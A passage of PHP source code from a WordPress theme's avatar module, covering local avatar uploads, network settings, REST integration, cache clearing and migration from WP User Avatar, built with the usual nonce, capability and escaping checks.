			if ( ! empty( $old_ops['penci_avatars_caps'] ) ) {
				update_option( 'penci_avatars', array( 'caps' => 1 ) );
			}

			delete_option( 'penci_avatar_caps' );
		}

		register_setting( 'discussion', 'penci_avatars', array( $this, 'sanitize_options' ) );
		add_settings_field( 'penci-avatars-only', __( 'Local Avatars Only', 'soledad' ), array(
			$this,
			'avatar_settings_field'
		), 'discussion', 'avatars', array(
			'class' => 'soledad',
			'key'   => 'only',
			'desc'  => __( 'Only allow local avatars (still uses Gravatar for default avatars)', 'soledad' ),
		) );
		add_settings_field( 'penci-avatars-caps', __( 'Local Upload Permissions', 'soledad' ), array(
			$this,
			'avatar_settings_field'
		), 'discussion', 'avatars', array(
			'class' => 'soledad',
			'key'   => 'caps',
			'desc'  => __( 'Only allow users with file upload capabilities to upload local avatars (Authors and above)', 'soledad' ),
		) );

		if ( is_multisite() ) {
			add_settings_field( 'penci-avatars-shared', __( 'Shared network avatars', 'soledad' ), array(
				$this,
				'avatar_settings_field'
			), 'discussion', 'avatars', array(
				'class'   => 'soledad',
				'key'     => 'shared',
				'desc'    => __( 'Uploaded avatars will be shared across the entire network, instead of being unique per site', 'soledad' ),
				'default' => 1,
			) );
		}

		add_action( 'load-options-discussion.php', array( $this, 'load_discussion_page' ) );

		// This is for network site settings.
		if ( PENCI_IS_NETWORK && is_network_admin() ) {
			add_action( 'load-settings.php', array( $this, 'load_network_settings' ) );
		}

		add_settings_field( 'penci-avatars-migration', __( 'Migrate Other Local Avatars', 'soledad' ), array(
			$this,
			'migrate_from_wp_user_avatar_settings_field'
		), 'discussion', 'avatars' );
		add_settings_field( 'penci-avatars-clear', esc_html__( 'Clear local avatar cache', 'soledad' ), array(
			$this,
			'avatar_settings_field'
		), 'discussion', 'avatars', array(
			'key'  => 'clear_cache',
			'desc' => esc_html__( 'Clear cache of stored avatars', 'soledad' ),
		) );

		// Save default avatar file.
		$this->save_default_avatar_file_id();
	}

	/**
	 * Fire code on the Discussion page
	 */
	public function load_discussion_page() {
		add_action( 'admin_print_styles', array( $this, 'admin_print_styles' ) );
		add_filter( 'admin_body_class', array( $this, 'admin_body_class' ) );
	}

	/**
	 * Load needed hooks to handle network settings
	 */
	public function load_network_settings() {
		$this->options = (array) get_site_option( 'penci_avatars', array() );

		add_action( 'wpmu_options', array( $this, 'show_network_settings' ) );
		add_action( 'update_wpmu_options', array( $this, 'save_network_settings' ) );
	}

	/**
	 * Show the network settings
	 */
	public function show_network_settings() {
		$mode = $this->get_network_mode();
		?>

        <h2><?php esc_html_e( 'Penci Avatars Settings', 'soledad' ); ?></h2>
        <table id="penci-avatars" class="form-table">
            <tr>
                <th scope="row">
					<?php esc_html_e( 'Mode', 'soledad' ); ?>
                </th>
                <td>
                    <fieldset>
                        <legend class="screen-reader-text"><?php esc_html_e( 'Mode', 'soledad' ); ?></legend>
                        <label><input name="penci_avatars[mode]" type="radio" id="sla-mode-default"
                                      value="default"<?php checked( $mode, 'default' ); ?> /> <?php esc_html_e( 'Default to the settings below when creating a new site', 'soledad' ); ?>
                        </label><br/>
                        <label><input name="penci_avatars[mode]" type="radio" id="sla-mode-enforce"
                                      value="enforce"<?php checked( $mode, 'enforce' ); ?> /> <?php esc_html_e( 'Enforce the settings below across all sites', 'soledad' ); ?>
                        </label><br/>
                    </fieldset>
                </td>
            </tr>
            <tr>
                <th scope="row">
					<?php esc_html_e( 'Local avatars only', 'soledad' ); ?>
                </th>
                <td>
					<?php
					$this->avatar_settings_field( array(
						'key'  => 'only',
						'desc' => __( 'Only allow local avatars (still uses Gravatar for default avatars)	', 'soledad' ),
					) );
					?>
                </td>
            </tr>
            <tr>
                <th scope="row">
					<?php esc_html_e( 'Local upload permissions', 'soledad' ); ?>
                </th>
                <td>
					<?php
					$this->avatar_settings_field( array(
						'key'  => 'caps',
						'desc' => __( 'Only allow users with file upload capabilities to upload local avatars (Authors and above)', 'soledad' ),
					) );
					?>
                </td>
            </tr>
            <tr>
                <th scope="row">
					<?php esc_html_e( 'Shared network avatars', 'soledad' ); ?>
                </th>
                <td>
					<?php
					$this->avatar_settings_field( array(
						'key'     => 'shared',
						'desc'    => __( 'Uploaded avatars will be shared across the entire network, instead of being unique per site', 'soledad' ),
						'default' => 1,
					) );
					?>
                </td>
            </tr>
        </table>

		<?php
	}

	/**
	 * Handle saving the network settings
	 */
	public static function save_network_settings() {
		$options   = array(
			'caps',
			'mode',
			'only',
			'shared',
		);
		$sanitized = array();

		foreach ( $options as $option_name ) {
			if ( ! isset( $_POST['penci_avatars'][ $option_name ] ) ) { // phpcs:ignore WordPress.Security.NonceVerification
				continue;
			}

			switch ( $option_name ) {
				case 'mode':
					update_site_option( 'penci_avatars_mode', sanitize_text_field( $_POST['penci_avatars'][ $option_name ] ) );
					break;
				default:
					$sanitized[ $option_name ] = empty( $_POST['penci_avatars'][ $option_name ] ) ? 0 : 1;
			}
		}

		update_site_option( 'penci_avatars', $sanitized );
	}

	/**
	 * Add scripts to the profile editing page
	 *
	 * @param string $hook_suffix Page hook
	 */
	public function enqueue_scripts( $hook_suffix ) {

		/**
		 * Filter the admin screens where we enqueue our scripts.
		 *
		 * @param array $screens Array of admin screens.
		 * @param string $hook_suffix Page hook.
		 *
		 * @return array
		 */
		$screens = apply_filters( 'penci_avatars_admin_enqueue_scripts', array(
			'profile.php',
			'user-edit.php',
			'options-discussion.php'
		), $hook_suffix );

		// Allow SLA actions on a bbPress profile edit page at FE.
		if ( function_exists( 'bbp_is_user_home_edit' ) && bbp_is_user_home_edit() ) {
			$hook_suffix = 'profile.php';
		}

		if ( ! in_array( $hook_suffix, $screens, true ) ) {
			return;
		}

		if ( current_user_can( 'upload_files' ) ) {
			wp_enqueue_media();
		}

		$user_id = filter_input( INPUT_GET, 'user_id', FILTER_SANITIZE_NUMBER_INT );
		$user_id = ( 'profile.php' === $hook_suffix ) ? get_current_user_id() : (int) $user_id;

		$this->remove_nonce = wp_create_nonce( 'remove_penci_avatar_nonce' );

		wp_enqueue_script( 'penci-avatars', PENCI_SOLEDAD_URL . '/js/avatars.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_localize_script( 'penci-avatars', 'i10n_PenciAvatars', array(
			'ajaxurl'                         => admin_url( 'admin-ajax.php' ),
			'user_id'                         => $user_id,
			'insertIntoPost'                  => __( 'Set as avatar', 'soledad' ),
			'selectCrop'                      => __( 'Select avatar and Crop', 'soledad' ),
			'deleteNonce'                     => $this->remove_nonce,
			'cacheNonce'                      => wp_create_nonce( 'sla_clear_cache_nonce' ),
			'mediaNonce'                      => wp_create_nonce( 'assign_penci_avatar_nonce' ),
			'migrateFromWpUserAvatarNonce'    => wp_create_nonce( 'migrate_from_wp_user_avatar_nonce' ),
			'clearCacheError'                 => esc_html__( 'Something went wrong while clearing cache, please try again.', 'soledad' ),
			'insertMediaTitle'                => esc_html__( 'Choose default avatar', 'soledad' ),
			'migrateFromWpUserAvatarSuccess'  => __( 'Number of avatars successfully migrated from WP User Avatar', 'soledad' ),
			'migrateFromWpUserAvatarFailure'  => __( 'No avatars were migrated from WP User Avatar.', 'soledad' ),
			'migrateFromWpUserAvatarProgress' => __( 'Migration in progress.', 'soledad' ),
		) );
	}

	/**
	 * Sanitize new settings field before saving
	 *
	 * @param array|string $input Passed input values to sanitize
	 *
	 * @return array|string Sanitized input fields
	 */
	public function sanitize_options( $input ) {
		$new_input['caps'] = empty( $input['caps'] ) ? 0 : 1;
		$new_input['only'] = empty( $input['only'] ) ? 0 : 1;

		if ( is_multisite() ) {
			$new_input['shared'] = empty( $input['shared'] ) ? 0 : 1;
		}

		return $new_input;
	}

	/**
	 * Settings field for avatar upload capabilities
	 *
	 * @param array $args Field arguments
	 */
	public function avatar_settings_field( $args ) {
		$args = wp_parse_args( $args, array(
			'key'     => '',
			'desc'    => '',
			'default' => 0,
		) );

		if ( ! isset( $this->options[ $args['key'] ] ) ) {
			$this->options[ $args['key'] ] = $args['default'];
		}

		if ( 'clear_cache' !== $args['key'] ) {
			echo '
			<label for="penci-avatars-' . esc_attr( $args['key'] ) . '">
				<input type="checkbox" name="penci_avatars[' . esc_attr( $args['key'] ) . ']" id="penci-avatars-' . esc_attr( $args['key'] ) . '" value="1" ' . checked( $this->options[ $args['key'] ], 1, false ) . ' />
				' . esc_html( $args['desc'] ) . '
			</label>
		';
		} else {
			echo '<button id="clear_cache_btn" class="button delete" name="clear_cache_btn" >' . esc_html__( 'Clear cache', 'soledad' ) . '</button><br/>';
			echo '<span id="clear_cache_message" style="font-style:italic;font-size:14px;line-height:2;"></span>';
		}

		// Output warning if needed.
		if ( PENCI_IS_NETWORK // If network activated.
			&& $this->is_enforced() // And in enforce mode.
			&& 'shared' === $args['key'] // And we are displaying the last setting.
		) {
			echo '
				<div class="notice notice-warning inline">
					<p><strong>' . esc_html__( 'Simple Local Avatar settings are currently enforced across all sites on the network.', 'soledad' ) . '</strong></p>
				</div>
			';
		}
	}

	/**
	 * Settings field for migrating avatars away from WP User Avatar
	 */
	public function migrate_from_wp_user_avatar_settings_field() {
		printf( '<p><button type="button" name="%1$s" id="%1$s" class="button button-secondary">%2$s</button></p><p class="%1$s-progress"></p>', esc_attr( 'penci-avatars-migrate-from-wp-user-avatar' ), esc_html__( 'Migrate avatars from WP User Avatar to Penci Avatars', 'soledad' ) );
	}

	/**
	 * Output new Avatar fields to user editing / profile screen
	 *
	 * @param object $profileuser User object
	 */
	public function edit_user_profile( $profileuser ) {
		?>
        <div id="penci-avatar-section">
            <h3><?php esc_html_e( 'Avatar', 'soledad' ); ?></h3>

            <table class="form-table">
                <tr class="upload-avatar-row">
                    <th scope="row"><label
                                for="penci-avatar"><?php esc_html_e( 'Upload Avatar', 'soledad' ); ?></label>
                    </th>
                    <td style="width: 50px;" id="penci-avatar-photo">
						<?php
						add_filter( 'pre_option_avatar_rating', '__return_null' );     // ignore ratings here
						echo wp_kses_post( get_penci_avatar( $profileuser->ID ) );
						remove_filter( 'pre_option_avatar_rating', '__return_null' );
						?>
                    </td>
                    <td>
						<?php
						$upload_rights = current_user_can( 'upload_files' );
						if ( ! $upload_rights ) {
							$upload_rights = empty( $this->options['caps'] );
						}

						if ( $upload_rights ) {
							do_action( 'penci_avatar_notices' );
							wp_nonce_field( 'penci_avatar_nonce', '_penci_avatar_nonce', false );
							$remove_url = add_query_arg( array(
								'action'   => 'remove-penci-avatar',
								'user_id'  => $profileuser->ID,
								'_wpnonce' => $this->remove_nonce,
							) );
							?>
							<?php
							// if user is author and above hide the choose file option
							// force them to use the WP Media Selector
							// At FE, show the file input field regardless of the caps.
							if ( ! is_admin() || ! current_user_can( 'upload_files' ) ) {
								?>
                                <p style="display: inline-block; width: 26em;">
                                    <span class="description"><?php esc_html_e( 'Choose an image from your computer:' ); ?></span><br/>
                                    <input type="file" name="penci-avatar" id="penci-avatar"
                                           class="standard-text"/>
                                    <span class="spinner" id="penci-avatar-spinner"></span>
                                </p>
							<?php } ?>
                            <p>
								<?php if ( current_user_can( 'upload_files' ) && did_action( 'wp_enqueue_media' ) ) : ?>
                                    <a href="#" aria-label="" class="button hide-if-no-js"
                                       id="penci-avatar-media"><?php esc_html_e( 'Choose from Media Library', 'soledad' ); ?></a> &nbsp;
								<?php endif; ?>
                                <a href="<?php echo esc_url( $remove_url ); ?>"
                                   class="button item-delete submitdelete deletion"
                                   id="penci-avatar-remove" <?php echo empty( $profileuser->penci_avatar ) ? ' style="display:none;"' : ''; ?>>
									<?php esc_html_e( 'Delete local avatar', 'soledad' ); ?>
                                </a>
                            </p>
							<?php
						} else {
							if ( empty( $profileuser->penci_avatar ) ) {
								echo '<span class="description">' . esc_html__( 'No local avatar is set. Set up your avatar at Gravatar.com.', 'soledad' ) . '</span>';
							} else {
								echo '<span class="description">' . esc_html__( 'You do not have media management permissions. To change your local avatar, contact the blog administrator.', 'soledad' ) . '</span>';
							}
						}
						?>
                    </td>
                </tr>
                <tr class="ratings-row">
                    <th scope="row"><?php esc_html_e( 'Rating' ); ?></th>
                    <td colspan="2">
                        <fieldset
                                id="penci-avatar-ratings" <?php disabled( empty( $profileuser->penci_avatar ) ); ?>>
                            <legend class="screen-reader-text"><span><?php esc_html_e( 'Rating' ); ?></span></legend>
							<?php
							$this->update_avatar_ratings();

							if ( empty( $profileuser->penci_avatar_rating ) || ! array_key_exists( $profileuser->penci_avatar_rating, $this->avatar_ratings ) ) {
								$profileuser->penci_avatar_rating = 'G';
							}

							foreach ( $this->avatar_ratings as $key => $rating ) :
								echo "\n\t<label><input type='radio' name='penci_avatar_rating' value='" . esc_attr( $key ) . "' " . checked( $profileuser->penci_avatar_rating, $key, false ) . '/>' . esc_html( $rating ) . '</label><br />';
							endforeach;
							?>
                            <p class="description"><?php esc_html_e( 'If the local avatar is inappropriate for this site, Gravatar will be attempted.', 'soledad' ); ?></p>
                        </fieldset>
                    </td>
                </tr>
            </table>
        </div>
		<?php
	}

	/**
	 * Ensure that the profile form has proper encoding type
	 */
	public function user_edit_form_tag() {
		echo 'enctype="multipart/form-data"';
	}

	/**
	 * Saves avatar image to a user
	 *
	 * @param int|string $url_or_media_id Local URL for avatar or ID of attachment
	 * @param int $user_id ID of user to assign image to
	 */
	public function assign_new_user_avatar( $url_or_media_id, $user_id ) {
		// delete the old avatar
		$this->avatar_delete( $user_id ); // delete old images if successful.

		$meta_value = array();

		// set the new avatar
		if ( is_int( $url_or_media_id + 0 ) ) {
			$meta_value['media_id'] = $url_or_media_id;
			$url_or_media_id        = wp_get_attachment_url( $url_or_media_id );
		}

		$meta_value['full']    = $url_or_media_id;
		$meta_value['blog_id'] = get_current_blog_id();

		update_user_meta( $user_id, $this->user_key, $meta_value ); // save user information (overwriting old).
	}

	/**
	 * Save any changes to the user profile
	 *
	 * @param int $user_id ID of user being updated
	 */
	public function edit_user_profile_update( $user_id ) {
		// check nonces
		if ( empty( $_POST['_penci_avatar_nonce'] ) || ! wp_verify_nonce( $_POST['_penci_avatar_nonce'], 'penci_avatar_nonce' ) ) {
			return;
		}

		// check for uploaded files
		if ( ! empty( $_FILES['penci-avatar']['name'] ) ) :

			// need to be more secure since low privelege users can upload
			if ( false !== strpos( $_FILES['penci-avatar']['name'], '.php' ) ) {
				$this->avatar_upload_error = __( 'For security reasons, the extension ".php" cannot be in your file name.', 'soledad' );
				add_action( 'user_profile_update_errors', array( $this, 'user_profile_update_errors' ) );

				return;
			}

			// front end (theme my profile etc) support
			if ( ! function_exists( 'media_handle_upload' ) ) {
				include_once ABSPATH . 'wp-admin/includes/media.php';
			}

			// front end (plugin bbPress etc) support
			if ( ! function_exists( 'wp_handle_upload' ) ) {
				include_once ABSPATH . 'wp-admin/includes/file.php';
			}
			if ( ! function_exists( 'wp_generate_attachment_metadata' ) ) {
				include_once ABSPATH . 'wp-admin/includes/image.php';
			}

			// allow developers to override file size upload limit for avatars
			add_filter( 'upload_size_limit', array( $this, 'upload_size_limit' ) );

			$this->user_id_being_edited = $user_id; // make user_id known to unique_filename_callback function
			$avatar_id                  = media_handle_upload( 'penci-avatar', 0, array(), array(
				'mimes'                    => array(
					'jpg|jpeg|jpe' => 'image/jpeg',
					'gif'          => 'image/gif',
					'png'          => 'image/png',
				),
				'test_form'                => false,
				'unique_filename_callback' => array( $this, 'unique_filename_callback' ),
			) );

			remove_filter( 'upload_size_limit', array( $this, 'upload_size_limit' ) );

			if ( is_wp_error( $avatar_id ) ) { // handle failures.
				$this->avatar_upload_error = '<strong>' . __( 'There was an error uploading the avatar:', 'soledad' ) . '</strong> ' . esc_html( $avatar_id->get_error_message() );
				add_action( 'user_profile_update_errors', array( $this, 'user_profile_update_errors' ) );

				return;
			}

			$this->assign_new_user_avatar( $avatar_id, $user_id );

		endif;

		// Handle ratings
		if ( isset( $avatar_id ) || get_user_meta( $user_id, $this->user_key, true ) ) {
			if ( empty( $_POST['penci_avatar_rating'] ) || ! array_key_exists( $_POST['penci_avatar_rating'], $this->avatar_ratings ) ) {
				$_POST['penci_avatar_rating'] = key( $this->avatar_ratings );
			}

			update_user_meta( $user_id, $this->rating_key, $_POST['penci_avatar_rating'] );
		}
	}

	/**
	 * Allow developers to override the maximum allowable file size for avatar uploads
	 *
	 * @param int $bytes WordPress default byte size check
	 *
	 * @return int Maximum byte size
	 */
	public function upload_size_limit( $bytes ) {
		return apply_filters( 'penci_avatars_upload_limit', $bytes );
	}

	/**
	 * Runs when a user clicks the Remove button for the avatar
	 */
	public function action_remove_penci_avatar() {
		if ( ! empty( $_GET['user_id'] ) && ! empty( $_GET['_wpnonce'] ) && wp_verify_nonce( $_GET['_wpnonce'], 'remove_penci_avatar_nonce' ) ) {
			$user_id = (int) $_GET['user_id'];

			if ( ! current_user_can( 'edit_user', $user_id ) ) {
				wp_die( esc_html__( 'You do not have permission to edit this user.', 'soledad' ) );
			}

			$this->avatar_delete( $user_id );    // delete old images if successful

			if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
				echo wp_kses_post( get_penci_avatar( $user_id ) );
			}
		}

		if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
			die;
		}
	}

	/**
	 * AJAX callback for assigning media ID fetched from media library to user
	 */
	public function ajax_assign_penci_avatar_media() {
		// check required information and permissions
		if ( empty( $_POST['user_id'] ) || empty( $_POST['media_id'] ) || ! current_user_can( 'upload_files' ) || ! current_user_can( 'edit_user', $_POST['user_id'] ) || empty( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'assign_penci_avatar_nonce' ) ) {
			die;
		}

		$media_id = (int) $_POST['media_id'];
		$user_id  = (int) $_POST['user_id'];

		// ensure the media is real is an image
		if ( wp_attachment_is_image( $media_id ) ) {
			$this->assign_new_user_avatar( $media_id, $user_id );
		}

		echo wp_kses_post( get_penci_avatar( $user_id ) );

		die;
	}

	/**
	 * Delete avatars based on a user_id
	 *
	 * @param int $user_id User ID.
	 */
	public function avatar_delete( $user_id ) {
		$old_avatars = (array) get_user_meta( $user_id, $this->user_key, true );

		if ( empty( $old_avatars ) ) {
			return;
		}

		// if it was uploaded media, don't erase the full size or try to erase an the ID
		if ( array_key_exists( 'media_id', $old_avatars ) ) {
			unset( $old_avatars['media_id'], $old_avatars['full'] );
		}

		if ( ! empty( $old_avatars ) ) {
			$upload_path = wp_upload_dir();

			foreach ( $old_avatars as $old_avatar ) {
				// derive the path for the file based on the upload directory
				$old_avatar_path = str_replace( $upload_path['baseurl'], $upload_path['basedir'], $old_avatar );
				if ( file_exists( $old_avatar_path ) ) {
					unlink( $old_avatar_path );
				}
			}
		}

		delete_user_meta( $user_id, $this->user_key );
		delete_user_meta( $user_id, $this->rating_key );
	}

	/**
	 * Creates a unique, meaningful file name for uploaded avatars.
	 *
	 * @param string $dir Path for file
	 * @param string $name Filename
	 * @param string $ext File extension (e.g. ".jpg")
	 *
	 * @return string Final filename
	 */
	public function unique_filename_callback( $dir, $name, $ext ) {
		$user = get_user_by( 'id', (int) $this->user_id_being_edited );
		$name = $base_name = sanitize_file_name( $user->display_name . '_avatar_' . time() ); //phpcs:ignore

		// ensure no conflicts with existing file names
		$number = 1;
		while ( file_exists( $dir . "/$name$ext" ) ) {
			$name = $base_name . '_' . $number;
			$number ++;
		}

		return $name . $ext;
	}

	/**
	 * Adds errors based on avatar upload problems.
	 *
	 * @param WP_Error $errors Error messages for user profile screen.
	 */
	public function user_profile_update_errors( WP_Error $errors ) {
		$errors->add( 'avatar_error', $this->avatar_upload_error );
	}

	/**
	 * Registers the penci_avatar field in the REST API.
	 */
	public function register_rest_fields() {
		register_rest_field( 'user', 'penci_avatar', array(
			'get_callback'    => array( $this, 'get_avatar_rest' ),
			'update_callback' => array( $this, 'set_avatar_rest' ),
			'schema'          => array(
				'description' => 'The users simple local avatar',
				'type'        => 'object',
			),
		) );
	}

	/**
	 * Returns the penci_avatar meta key for the given user.
	 *
	 * @param object $user User object
	 */
	public function get_avatar_rest( $user ) {
		$local_avatar = get_user_meta( $user['id'], $this->user_key, true );
		if ( empty( $local_avatar ) ) {
			return;
		}

		return $local_avatar;
	}

	/**
	 * Updates the simple local avatar from a REST request.
	 *
	 * Since we are just adding a field to the existing user endpoint
	 * we don't need to worry about ensuring the calling user has proper permissions.
	 * Only the user or an administrator would be able to change the avatar.
	 *
	 * @param array $input Input submitted via REST request.
	 * @param object $user The user making the request.
	 */
	public function set_avatar_rest( $input, $user ) {
		$this->assign_new_user_avatar( $input['media_id'], $user->ID );
	}

	/**
	 * Short-circuit filter the `penci_avatars` option to match network if necessary
	 *
	 * @param bool $value Value of `penci_avatars` option, typically false.
	 *
	 * @return array
	 */
	public function pre_option_penci_avatars( $value ) {
		if ( PENCI_IS_NETWORK && 'enforce' === $this->get_network_mode() ) {
			$value = get_site_option( 'penci_avatars', array() );
		}

		return $value;
	}

	/**
	 * Set plugin defaults for a new site
	 *
	 * @param int $blog_id Blog ID.
	 */
	public function set_defaults( $blog_id ) {
		if ( 'enforce' === $this->get_network_mode() ) {
			return;
		}

		switch_to_blog( $blog_id );
		update_option( 'penci_avatars', $this->sanitize_options( $this->options ) );
		restore_current_blog();
	}

	/**
	 * Add some basic styling on the Discussion page
	 */
	public function admin_print_styles() {
		?>
        <style>
			.sla-enforced .penci-avatars th,
			.sla-enforced .penci-avatars label {
				opacity: 0.5;
				pointer-events: none;
			}
			.sla-enforced .penci-avatars .notice {
				margin-top: 20px;
			}
			@media screen and (min-width: 783px) {
				.sla-enforced .penci-avatars .notice {
					left: -220px;
					position: relative;
				}
			}
        </style>
		<?php
	}

	/**
	 * Adds admin body classes to the Discussion options screen
	 *
	 * @param string $classes Space-separated list of classes to apply to the body element.
	 *
	 * @return string
	 */
	public function admin_body_class( $classes ) {
		if ( $this->is_enforced() ) {
			$classes .= ' sla-enforced';
		}

		return $classes;
	}

	/**
	 * Overwriting existing avatar_ratings so this can be called just before the rating strings would be used so that
	 * translations will work correctly.
	 * Default text-domain because the strings have already been translated
	 */
	private function update_avatar_ratings() {
		$this->avatar_ratings = array(
			'G'  => __( 'G &#8212; Suitable for all audiences' ),
			'PG' => __( 'PG &#8212; Possibly offensive, usually for audiences 13 and above' ),
			'R'  => __( 'R &#8212; Intended for adult audiences above 17' ),
			'X'  => __( 'X &#8212; Even more mature than above' ),
		);
	}

	/**
	 * Clear user cache.
	 */
	public function sla_clear_user_cache() {
		check_ajax_referer( 'sla_clear_cache_nonce', 'nonce' );
		$step = isset( $_REQUEST['step'] ) ? intval( $_REQUEST['step'] ) : 1;

		// Setup defaults.
		$users_per_page = 50;
		$offset         = ( $step - 1 ) * $users_per_page;

		$users_query = new \WP_User_Query( array(
			'fields' => array( 'ID' ),
			'number' => $users_per_page,
			'offset' => $offset,
		) );

		// Total users in the site.
		$total_users = $users_query->get_total();

		// Get the users.
		$users = $users_query->get_results();

		if ( ! empty( $users ) ) {
			foreach ( $users as $user ) {
				$user_id       = $user->ID;
				$local_avatars = get_user_meta( $user_id, 'penci_avatar', true );
				$media_id      = isset( $local_avatars['media_id'] ) ? $local_avatars['media_id'] : '';
				$this->clear_user_avatar_cache( $local_avatars, $user_id, $media_id );
			}

			wp_send_json_success( array(
				'step'    => $step + 1,
				'message' => sprintf( /* translators: 1: Offset, 2: Total users  */ esc_html__( 'Processing %1$s/%2$s users...', 'soledad' ), $offset, $total_users ),
			) );
		}

		wp_send_json_success( array(
			'step'    => 'done',
			'message' => sprintf( /* translators: %s Total users */ esc_html__( 'Completed clearing cache for all %s user(s) avatars.', 'soledad' ), $total_users ),
		) );
	}

	/**
	 * Clear avatar cache for given user.
	 *
	 * @param array $local_avatars Local avatars.
	 * @param int $user_id User ID.
	 * @param mixed $media_id Media ID.
	 */
	private function clear_user_avatar_cache( $local_avatars, $user_id, $media_id ) {
		if ( ! empty( $media_id ) ) {
			// In order to support WP 4.9.
			if ( function_exists( 'wp_get_original_image_path' ) ) {
				$file_name_data = pathinfo( wp_get_original_image_path( $media_id ) );
			} else {
				$file_name_data = pathinfo( get_attached_file( $media_id ) );
			}

			$file_dir_name = $file_name_data['dirname'];
			$file_name     = $file_name_data['filename'];
			$file_ext      = $file_name_data['extension'];
			foreach ( $local_avatars as $local_avatars_key => $local_avatar_value ) {
				if ( ! in_array( $local_avatars_key, [ 'media_id', 'full' ], true ) ) {
					$file_size_path = sprintf( '%1$s/%2$s-%3$sx%3$s.%4$s', $file_dir_name, $file_name, $local_avatars_key, $file_ext );
					if ( ! file_exists( $file_size_path ) ) {
						unset( $local_avatars[ $local_avatars_key ] );
					}
				}
			}

			// Update meta, remove sizes that don't exist.
			update_user_meta( $user_id, 'penci_avatar', $local_avatars );
		}
	}

	/**
	 * Add default avatar upload file field.
	 *
	 * @param array $defaults Default options for avatar.
	 *
	 * @return array Default options of avatar.
	 */
	public function add_avatar_default_field( $defaults ) {
		
		$default_avatar_file_url = '';
		$default_avatar_file_id  = get_option( 'penci_avatar_default', '' );
		if ( ! empty( $default_avatar_file_id ) ) {
			$default_avatar_file_url = wp_get_attachment_image_url( $default_avatar_file_id );
		}
		ob_start();
		?>
        <input type="hidden" name="penci-avatar-file-id" id="penci-avatar-file-id"
               value="<?php echo ! empty( $default_avatar_file_id ) ? esc_attr( $default_avatar_file_id ) : ''; ?>"/>
        <input type="hidden" name="penci-avatar-file-url" id="penci-avatar-file-url"
               value="<?php echo ! empty( $default_avatar_file_url ) ? esc_url( $default_avatar_file_url ) : ''; ?>"/>
        <input type="button" name="penci-avatar" id="penci-avatar-default" class="button-secondary"
               value="<?php esc_attr_e( 'Choose Default Avatar', 'penci-avatar' ); ?>"/>
		<?php
		$defaults['penci_avatar'] = ob_get_clean();

		return $defaults;
	}

	/**
	 * Save default avatar attachment id in option.
	 */
	private function save_default_avatar_file_id() {
		global $pagenow;

		$file_id = filter_input( INPUT_POST, 'penci-avatar-file-id', FILTER_SANITIZE_NUMBER_INT );

		// check for uploaded files
		if ( 'options.php' === $pagenow && ! empty( $file_id ) ) {
			update_option( 'penci_avatar_default', $file_id );
		}
	}

	/**
	 * Migrate the user's avatar data from WP User Avatar/ProfilePress
	 *
	 * This function creates a new option in the wp_options table to store the processed user IDs
	 * so that we can run this command multiple times without processing the same user over and over again.
	 *
	 * Credit to Philip John for the Gist
	 *
	 * @see https://gist.github.com/philipjohn/822d3521a95481f6ad7e118a7106fbc7
	 *
	 * @return int
	 */
	public function migrate_from_wp_user_avatar() {

		global $wpdb;

		$count = 0;

		// Support single site and multisite installs.
		// Use WordPress function if running multisite.
		// Create generic class if running single site.
		if ( is_multisite() ) {
			$sites = get_sites();
		} else {
			$site          = new stdClass();
			$site->blog_id = 1;
			$sites         = array( $site );
		}

		// Bail early if we don't find sites.
		if ( empty( $sites ) ) {
			return $count;
		}

		foreach ( $sites as $site ) {
			// Get the blog ID to use in the meta key and user query.
			$blog_id = isset( $site->blog_id ) ? $site->blog_id : 1;

			// Get the name of the meta key for WP User Avatar.
			$meta_key = $wpdb->get_blog_prefix( $blog_id ) . 'user_avatar';

			// Get processed users from database.
			$migrations      = get_option( 'penci_avatars_migrations', array() );
			$processed_users = isset( $migrations['wp_user_avatar'] ) ? $migrations['wp_user_avatar'] : array();

			// Get all users that have a local avatar.
			$users = get_users( array(
				'blog_id'      => $blog_id,
				'exclude'      => $processed_users,
				'meta_key'     => $meta_key,
				'meta_compare' => 'EXISTS',
			) );

			// Bail early if we don't find users.
			if ( empty( $users ) ) {
				continue;
			}

			foreach ( $users as $user ) {
				// Get the existing avatar media ID.
				$avatar_id = get_user_meta( $user->ID, $meta_key, true );

				// Attach the user and media to Penci Avatars.
				$sla = new Penci_Avatars();
				$sla->assign_new_user_avatar( (int) $avatar_id, $user->ID );

				// Check that it worked.
				$is_migrated = get_user_meta( $user->ID, 'penci_avatar', true );

				if ( ! empty( $is_migrated ) ) {
					// Build array of user IDs.
					$migrations['wp_user_avatar'][] = $user->ID;

					// Record the user IDs so we don't process a second time.
					$is_saved = update_option( 'penci_avatars_migrations', $migrations );

					// Record how many avatars we migrate to be used in our messaging.
					if ( $is_saved ) {
						$count ++;
					}
				}
			}
		}

		return $count;
	}

	/**
	 * Migrate the user's avatar data away from WP User Avatar/ProfilePress via the dashboard.
	 *
	 * Sends the number of avatars processed back to the AJAX response before stopping execution.
	 *
	 * @return void
	 */
	public function ajax_migrate_from_wp_user_avatar() {
		// Bail early if nonce is not available.
		if ( empty( sanitize_text_field( $_POST['migrateFromWpUserAvatarNonce'] ) ) ) {
			die;
		}

		// Bail early if nonce is invalid.
		if ( ! wp_verify_nonce( sanitize_text_field( $_POST['migrateFromWpUserAvatarNonce'] ), 'migrate_from_wp_user_avatar_nonce' ) ) {
			die();
		}

		// Run the migration script and store the number of avatars processed.
		$count = $this->migrate_from_wp_user_avatar();

		// Create the array we send back to javascript here.
		$array_we_send_back = array( 'count' => $count );

		// Make sure to json encode the output because that's what it is expecting.
		echo wp_json_encode( $array_we_send_back );

		// Make sure you die when finished doing ajax output.
		wp_die();

	}

	/**
	 * Migrate the user's avatar data from WP User Avatar/ProfilePress via the command line.
	 *
	 * ## OPTIONS
	 *
	 * [--yes]
	 * : Skips the confirmations (for automated systems).
	 *
	 * ## EXAMPLES
	 *
	 *     $ wp penci-avatars migrate wp-user-avatar
	 *     Success: Number of avatars successfully migrated from WP User Avatar: 5
	 *
	 * @param array $args The arguments.
	 * @param array $assoc_args The associative arguments.
	 *
	 * @return void
	 */
	public function wp_cli_migrate_from_wp_user_avatar( $args, $assoc_args ) {

		// Argument --yes to prevent confirmation (for automated systems).
		if ( ! isset( $assoc_args['yes'] ) ) {
			WP_CLI::confirm( esc_html__( 'Do you want to migrate avatars from WP User Avatar?', 'soledad' ) );
		}

		// Run the migration script and store the number of avatars processed.
